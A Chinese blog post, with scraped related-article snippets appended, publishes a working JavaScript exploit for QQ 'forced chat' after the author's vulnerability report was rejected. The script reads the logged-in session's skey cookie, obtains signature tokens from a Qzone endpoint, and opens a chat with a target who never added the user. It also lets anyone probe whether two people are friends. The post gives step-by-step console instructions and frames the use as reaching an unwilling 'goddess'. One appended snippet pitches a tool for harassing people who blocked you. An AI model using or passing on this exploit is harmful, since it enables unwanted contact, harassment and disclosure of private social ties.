最新QQ强制聊天代码,同时可判断好友关系

QQ强聊虽然早就变成了一个传说,但现在依然可以实现。

小菜其实早就知道这个漏洞,但是一直没公布,前两天突然来兴致试了试,没想到漏洞依然存在。

然后小菜跑到了乌云漏洞报告平台举报漏洞,但没想到被腾讯鲁莽的否认了,他竟然说漏洞不存在,漏洞不存在,那些截图是怎么来的。。。小菜辛辛苦苦写的漏洞原理,就这么无情的被拒绝了。。。

小菜很失望,既然腾讯这么不负责任,那小菜就把漏洞发出来。

漏洞的具体原理,小菜已经在乌云上阐述了《腾讯QQ强制聊天漏洞》,十分的详细,在这不多说。

为了让读者更方便的利用此漏洞,小菜写了一个js脚本,脚本如下

  1 (function(exports){
  2
  3   var chatVO = {
  4     //你的QQ
  5     yourQQ: "20737302",
  6     //你好友的QQ
  7     yourFQQ: "649374916",
  8     //女神的QQ
  9     targetQQ: "20618348",
 10     //女神好友的QQ
 11     targetFQQ: "649374916"
 12   };
 13   var config = {
 14     init: function(){
 15       var skey;
 16       skey = getCookie("skey") || getCookie("rv2") || "";
 17       function getCookie(name){
 18         var r = new RegExp("(?:^|;+|\\s+)" + name + "=([^;]*)"), m = document.cookie.match(r);
 19         return !m ? "" : m[1];
 20       }
 21       function _DJB (str) {
 22         var hash = 5381;
 23         for (var i = 0, len = str.length; i < len; ++i)
 24             hash += (hash << 5) + str.charCodeAt(i);
 25         return hash & 2147483647
 26       };
 27
 28       this.sigURL = this.sigURL.replace("{{t}}",_DJB(skey));
 29     },
 30     sigURL: "http://r.qzone.qq.com/cgi-bin/user/cgi_tmp_talk?qzone_uin={{sender}}&to_uin={{receiver}}&g_tk={{t}}",
 31     chatURL: "tencent://message/?Menu=yes&uin={{sender}}&Service=112&SigT={{sigt}}&SigU={{sigu}}"
 32   };
 33   var util = {
 34     ajax: function(obj){
 35       var xmlHttp;
 36
 37       if(obj.async === undefined){
 38         obj.async = true;
 39       }
 40
 41       if(window.XMLHttpRequest){
 42           xmlHttp = new XMLHttpRequest();
 43       }else{
 44           xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
 45       }
 46
 47       xmlHttp.onreadystatechange=function(){
 48         obj.callback(xmlHttp);
 49       };
 50       xmlHttp.open(obj.type,obj.url,obj.async);
 51       xmlHttp.send();
 52     }
 53   };
 54   var logic = {
 55     getSigU: function (sender,receiver){
 56       var sigu = "";
 57       util.ajax({
 58         url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver),
 59         type: "get",
 60         async: false,
 61         callback: function(xhr){
 62           if(xhr.readyState == 4){
 63             var html = xhr.responseText.replace(/[\n]/g,"");
 64             if(/&SigU=/gmi.test(html)){
 65               sigu = html.split(/&SigU=/m)[1].split(/‘/m)[0];
 66             }else{
 67               alert("你和你的好友,好友关系不成立!");
 68             }
 69           }
 70         }
 71       });
 72
 73       return sigu;
 74     },
 75     getSigT: function (sender,receiver){
 76       var sigt = "";
 77       util.ajax({
 78         url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver),
 79         type: "get",
 80         async: false,
 81         callback: function(xhr){
 82           if(xhr.readyState == 4){
 83             var html = xhr.responseText.replace(/[\n]/g,"");
 84             if(/&SigT=/gmi.test(html)){
 85               sigt = html.split(/&SigT=/m)[1].split(/&SigU=/m)[0];
 86             }else{
 87               alert("他和他的好友,好友关系不成立!");
 88             }
 89           }
 90         }
 91       });
 92
 93       return sigt;
 94     },
 95     runChat: function (sender,sigu,sigt) {
 96       exports.location = config.chatURL.replace("{{sender}}",sender).replace("{{sigt}}",sigt).replace("{{sigu}}",sigu);
 97     }
 98   };
 99
100   config.init();
101
102   var sigu = logic.getSigU(chatVO.yourQQ,chatVO.yourFQQ);
103   var sigt = logic.getSigT(chatVO.targetFQQ,chatVO.targetQQ);
104
105   logic.runChat(chatVO.targetQQ,sigu,sigt);
106
107 })(this);

这个脚本,您只需要关注最顶部的四个参数,

  • yourQQ: "20737302",
  • yourFQQ: "649374916",
  • targetQQ: "20618348",
  • targetFQQ: "649374916"

这四个参数缺一不可,而且必须都正确,读者可根据自己的实际情况填写,主要就是女神好友的QQ可能不知道(任意一个好友即可),猜吧!

假如您不知道女神好友的QQ,乱填一个,会提示好友关系不成立,顺便还可以用这个提示测试两个人是不是好友,很实用吧!

   测试的时候忽略了一个问题:女神好友的QQ(targetFQQ),作为中间人,不能随便填,必须同时是你们两个的好友才可以。。。抱歉!!

接下来说说怎么运行这个脚本。

首先要用浏览器打开你的QQ空间,最好使用火狐和谷歌浏览器,然后保持QQ空间是登录状态。

然后在QQ空间的选项卡旁边新建一个选项卡,输入网址:http://r.qzone.qq.com,按回车转到,发现是一片空白,这就对了。

在浏览器上按F12打开控制台,把脚本粘贴到控制台中,运行即可。

为什么要这么做呢。。。登录QQ空间是为了拿到有效的cookie,否则没办法访问腾讯接口,而新建一个选项卡是为了避免跨域问题,同时又可以与登录的QQ空间共享cookie。

其他就没什么了,快动手试试吧!

最新QQ强制聊天代码,同时可判断好友关系

时间: 2024-10-14 07:48:46

最新QQ强制聊天代码,同时可判断好友关系的相关文章

qq强制聊天工具

当你想和别人聊天, 别人有不理你的时候可以用上哦!!!特别是情人吵架的时候, 呵呵 复制下面的代码: @echo off title DIY-QQ强制聊天工具color 0a echo. echo. echo. echo. echo. 本程序应用于与任意号码聊天,也可以用于骚扰把你加入黑名单的Q友--echo. 有空欢迎看看 Www.OrSoon.Com 未来软件园echo. echo. echo. echo. 请先打开QQ!!否则本程序无效!!! echo. echo. echo. pause

QQ在线聊天代码获取和使用教程

在网站上挂上悬浮QQ是一种有效的推广方式,QQ正常情况下是不被允许临时会话的,需要加为好友才可以,这样很不友好, 当今每个行业都是有很多人在做,竞争很激烈,对客户的友好是增加订单的有效途径. 地址:http://www.shouce.ren/post/view/id/3744 <a target="_blank" href="http://wpa.qq.com/msgrd?v=3&uin=2778085001&site=qq&menu=yes&q

QQ网页强制聊天,微博一键关注

<!doctype html> <!-- 微博关注需要的js --> <html xmlns:wb="http://open.weibo.com/wb"> <head> <meta charset="UTF-8"> <title>share</title> </head> <!-- 微博一键关注需要去,微博开放平台:https://open.weibo.com/wi

高仿QQ即时聊天软件开发系列之三登录窗口用户选择下拉框

上一篇高仿QQ即时聊天软件开发系列之二登录窗口界面写了一个大概的布局和原理 这一篇详细说下拉框的实现原理 先上最终效果图 一开始其实只是想给下拉框加一个placeholder效果,让下拉框在未选择未输入时显示一个提示字符串.由于Background对ComboBox无效,所以直接通过Background来实现是不行了.需要重新写ComboBox的模板,也就是Template,自定义一个模板来实现这个结果.又看了一下QQ的下拉框,这玩意不自定义也难以实现,所以就干脆自定义了. 先上代码,先是Com

高仿QQ即时聊天软件开发系列之二登录窗口界面

继上一篇高仿QQ即时聊天软件开发系列之一开端之后,开始做登录窗口 废话不多说,先看效果,只有界面 可能还有一些细节地方没有做,例如那个LOGO嘛,不要在意这些细节 GIF虽短,可是这做起来真难,好吧因为我没玩过WPF所以难,因为感觉做出来之后也就那样 整体布局 整体是上下分,下面是左中右分 1 <Grid> 2 <Grid.RowDefinitions> 3 <RowDefinition Height="27"><!--用于放窗口右上角关闭.最

腾讯视频最新去广告调用代码

现在位置:首页 » 网站设计 » 内容详细页面 腾讯视频最新去广告调用代码 作者:蓝叶 时间:2013-6-30 14:26 声明:转载http://lanyes.org/web/tengxun-video-diaoyong.html! 在很久以前蓝叶分享过一篇文章<腾讯播放器样式>,那个方法调用当时是没有广告了,时间的推移,腾讯视频站的FLASH播放器已经升级,去广告调用参数也随之失效了,在几个网友反馈后,昨晚花了点时间重新找了腾讯视频站外无广告调用代码,分享给有需要的网友,代码如下请看说明

17款jQuery在线QQ客服代码分享

17款jQuery在线QQ客服代码分享给大家咯!!拿走,不谢,我叫雷锋~~ jQuery侧边栏点击展开收缩在线QQ客服代码 jQuery网页右侧固定层显示隐藏在线qq客服代码 jQuery点击按钮遮罩弹出在线QQ客服代码 jQuery带留言在线qq客服代码 绿色的jquery qq在线客服网页右侧固定层qq客服隐藏显示代码 蓝色的jquery固定div悬浮在线客服代码 jquery固定层网页侧边栏在线qq客服代码 jquery浮动在左侧的QQ客服代码 带有弹性可伸缩的在线客服代码 jquery右

基于Qt的类QQ气泡聊天的界面开发

最近在写IM 聊天界面,想设计出一个类似QQ气泡聊天的样式 使用了几种办法 1:使用Qt下面的QListview来实现QQ类似效果,差强人意 2:使用QWebview加载html css样式来完成,发现效果不错,但是毕竟webview占用巨大的内存 3:使用QTextBrower加载css,但是好像只支持css2.1版本,css3完全不支持,这样的话,花哨的样式应该是无法实现 基于以上三种思路 最后发现还是QML实现比较好,但是qml基于文本与动画图片混合显示没找到好的办法,有好的办法的希望可以

js封装好的模仿qq消息弹窗代码

在我们的日常开发中,或者生活中,经常需要用到弹出窗.这里我们就用js模拟一下qq消息一样的弹出窗. 直接贴代码: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml&